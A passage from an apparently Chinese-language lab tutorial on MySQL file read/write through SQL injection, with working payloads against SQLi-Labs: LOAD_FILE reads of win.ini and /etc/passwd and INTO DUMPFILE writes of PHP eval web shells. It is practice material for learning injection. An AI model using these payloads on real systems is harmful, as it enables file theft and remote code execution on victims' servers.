mysql> select @@secure_file_priv; +--------------------+ | @@secure_file_priv | +--------------------+ | NULL | +--------------------+ 1 row in set (0.00 sec) mysql> show variables like "secure_file_priv"; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | NULL | +------------------+-------+ 1 row in set, 1 warning (0.00 sec)
2 Web 根路径获取
常用 Web 根路径获取有:
基于报错信息
内置函数查询
@@datadir
@@basedir
文件上传功能点
文件泄露(phpinfo.php)
猜
3 文件读取 / 写入
文件读取函数
load_file()
文件写入函数
into outfile:数据可以写入多行,会进行特殊的格式转换。
into dumpfile:数据只能写入出一行,保持原有数据格式。
3.1 本地测试读写
1 2 3 4 5 6 7 8 9 10 11
## 读取 SELECT LOAD_FILE('C:/Windows/win.ini') SELECT LOAD_FILE('E:/phpstudy_pro/WWW/Hello.txt') ## 写入 SELECT 'heihei' INTO DUMPFILE 'E:/phpstudy_pro/WWW/xixi.txt' SELECT '<?php phpinfo();?>' INTO DUMPFILE 'E:/phpstudy_pro/WWW/phpinfo.php' ## 写入木马 SELECT '<?php eval($_REQUEST["a"])?>' INTO DUMPFILE 'E:/phpstudy_pro/WWW/shell.php' SELECT "<?php eval($_REQUEST['a'])?>" INTO DUMPFILE 'E:/phpstudy_pro/WWW/shell1.php'
3.2 SQLi-Labs
3.2.1 Windows
SQLi-Labs(Windows,SQLi-Labs 2):
1 2 3 4
?id=-1 union select 1,2,load_file('C:/Windows/win.ini') ?id=-1 union select 1,2,@@basedir # E:\phpstudy_pro\Extensions\MySQL5.7.26\ ?id=-1 union select 1,2,load_file('E:/phpstudy_pro/WWW/index.html') ?id=-1 union select 1,2,'<?php @eval($_REQUEST[1]);echo 404;?>' into dumpfile 'E:/phpstudy_pro/WWW/shell.php' --+
3.2.2 Linux
SQLi-Labs(Linux,SQLi-Labs 2):
1 2 3 4
?id=-1 union select 1,2,load_file('/etc/passwd') ?id=-1 union select 1,2,@@datadir # /var/lib/mysql/ ?id=-1 union select 1,2,load_file('/var/www/html/index.html') ?id=-1 union select 1,2,'<?php @eval($_REQUEST[1]);echo 404;?>' into dumpfile '/var/www/html/shell.php' --+ # Can't create/write to file '/var/www/html/shell.php' (Errcode: 13),作者的镜像有点问题,目录权限不对